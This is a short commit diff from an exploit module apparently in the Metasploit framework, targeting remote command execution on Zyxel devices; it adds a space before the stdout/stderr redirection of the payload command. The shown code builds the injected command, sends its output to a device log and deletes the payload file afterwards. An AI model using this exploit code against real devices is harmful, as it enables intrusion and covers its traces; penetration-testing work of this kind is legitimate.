Added space between command and stderr/stout redirection

Author: jheysel-r7

modules/exploits/linux/http/zyxel_parse_config_rce.rb

@@ -112,6 +112,7 @@ def exploit
     payload_filepath = "#{datastore['WRITABLE_DIR']}/#{filename}.qsr"
 
     command = payload.raw
+    command += ' '
     command += <<~CMD
       2>/var/log/ztplog 1>/var/log/ztplog
       (sleep 10 && /bin/rm -rf #{payload_filepath}) &